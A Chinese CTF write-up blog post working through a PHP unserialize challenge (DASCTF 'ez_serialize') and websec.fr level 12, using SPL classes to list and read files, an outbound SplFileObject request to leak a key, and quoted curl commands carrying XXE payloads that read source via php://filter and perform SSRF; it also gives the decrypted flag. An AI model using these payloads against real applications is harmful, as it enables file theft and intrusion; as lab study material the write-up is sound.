DASCTF三月复现

ez_serialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "B";
$this->para = "ctfer";
echo new $this->class ($this->para);
}
public function __wakeup()
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para);
}
else
die('bad hacker~');
}

}
class B{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("hello ".$this->a);
}
}
class C{

function vaild($code){
$pattern = '';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}


if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
else{
$a=new A;

}

逻辑还是挺好捋的……这里关键是对php原生文件操作类的应用:

https://www.php.net/manual/zh/book.spl.php

描述
DirectoryIterator 遍历目录。
FilesystemIterator 遍历目录。
GlobIterator 遍历目录,但是不同的点在于它可以通配例如/var/html/www/flag*。
SplFileObject 读取文件,按行读取,多行需要遍历;URL 可作为文件名,受到allow_url_fopen影响。
finfo/finfo_open() 需要两个参数,读取文件。
1
2
3
4
5
6
7
8
9
public function __wakeup()
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para);
}
else
die('bad hacker~');
}

这里就可以控制class为SPL(标准PHP类库)中的文件操作类。

但是……DirectoryIterator和FilesystemIterator 作为迭代器,需要循环遍历输出每一个不同的目录下文件,所以直接输出只显示第一个文件

GlobIterator可以使用通配符搜索,同样,只显示搜素到的第一个文件……

这道题就是利用FilesystemIterator找flag文件,SplFileObject读取flag文件

来看类似的一道题:

websec-LevelTwelve

http://websec.fr/level12/index.php

finfo的利用:

Syntax

FINFO (file-id,info-item)

  • file-id
  • specifies the identifier that was assigned when the file was opened (generally by the FOPEN function).
  • info-item
  • specifies the number of the information item that is to be retrieved.

FINFO函数为先前已打开并由FOPEN函数分配了文件ID的外部文件返回指定信息项的值。

FINFO,FOPTNAME和FOPTNUM函数支持以下信息项。

file-id

Information Items for Unix System Services Files

Unix系统服务文件的信息项

Item 项目标识符 Definition
1 File Name文件名 File name
2 Access Permission存取权限 Read, write, and execute permissions for owner, group, and other
3 Number of Links链接数 Number of links in the file
4 Owner Name所有者名称 User ID of the owner
5 Group Name团队名 Name of the owner’s access group
6 File Size文件大小 File size
7 Last Modified最后修改 Date file last modified

Information Items for Sequential Files and members of PDSs and PDSEs

顺序文件以及PDS和PDSE成员的信息项

Item Item Identifier Definition
1 Dsname名称 File name
2 Unit单元 Disk type
3 Volume体积 Volume on which data setresides
4 Disp显示 Disposition
5 Blksize Block size
6 Lrecl Record length
7 Recfm Record format

info-item:所打开的文件

好不容易查到的资料,似乎也没什么用……

image-20210330162313649

控制类名读取index.php

image-20210330162402047

这里大量的报错,带出了许多文件内容,

具体原因:https://www.anquanke.com/post/id/167140#h2-7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
/*
Congratulation, you can read this file, but this is not the end of our journey.

- Thanks to cutz for the QA.
- Thanks to blotus for finding a (now fixed) weakness in the "encryption" function.
- Thanks to nurfed for nagging us about a cheat
*/

$text = 'Niw0OgIsEykABg8qESRRCg4XNkEHNg0XCls4BwZaAVBbLU4EC2VFBTooPi0qLFUELQ==';
$key = ini_get ('user_agent');

if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1') {
if ($_SERVER['HTTP_USER_AGENT'] !== $key) {
die ("Cheating is bad, m'kay?");
}

$i = 0;
$flag = '';
foreach (str_split (base64_decode ($text)) as $letter) {
$flag .= chr (ord ($key[$i++]) ^ ord ($letter));
}
die ($flag);
}
?>

接下来就是获取key了

借助SplFileObject的特性,访问我们的IP,监听获取use_agent,也就是key

image-20210330164631817

加一个\就可以绕过……:

Without any namespace definition, all class and function definitions are placed into the global space - as it was in PHP before namespaces were supported. Prefixing a name with \ will specify that the name is required from the global space even in the context of the namespace.

百度机翻:

没有任何名称空间定义,所有的类和函数定义都放在全局空间中——就像在支持名称空间之前的PHP中一样。在名称前面加上\将指定该名称必须来自全局空间,即使在命名空间的上下文中也是如此。

image-20210330164826855

获得key:aiviGohdahvueL0dedi5hievi0Ahsh1aor9aiQu5eemaisi7Phai9PhohpheiweiP7eifooVooviesh9meighoolahm3Phe0Ii6gieL1Pidoodiephein3iK8tae3aec

解密脚本:

1
2
3
4
5
6
7
8
9
10
<?php
$key = "aiviGohdahvueL0dedi5hievi0Ahsh1aor9aiQu5eemaisi7Phai9PhohpheiweiP7eifooVooviesh9meighoolahm3Phe0Ii6gieL1Pidoodiephein3iK8tae3aec";
$text = "Niw0OgIsEykABg8qESRRCg4XNkEHNg0XCls4BwZaAVBbLU4EC2VFBTooPi0qLFUELQ==";
$flag = "";
foreach (str_split (base64_decode ($text)) as $letter) {
$flag .= chr (ord ($key[$i++]) ^ ord ($letter));
}

echo $flag;
//WEBSEC{Many_thanks_to_hackyou2014_web400_MSLC_<3}

大佬的ssrf(这是利用了xml吗……tql):

1
2
3
4
5
得到源码:
curl -s --data 'submit=&class=SimpleXMLElement&param2=2&param1=<!DOCTYPE xxe [<!ENTITY foo SYSTEM "php://filter/read=convert.base64-encode/resource=/index.php">]><root>%26foo;</root>' http://websec.fr/level12/index.php | grep -oE -m1 '<pre>(.*)</pre>'
可以继续获取php.ini,路径未知,
也可以: 通过ssrf获取flag:
curl -s --data 'submit=&class=SimpleXMLElement&param2=2&param1=<!DOCTYPE xxe [<!ENTITY foo SYSTEM "http://127.0.0.1/level12/index.php">]><root>%26foo;</root>' http://websec.fr/level12/index.php | grep -oE -m1 'WEBSEC{.*}'
作者

inanb

发布于

2021-03-30

更新于

2021-08-23

许可协议


:D 一言句子获取中...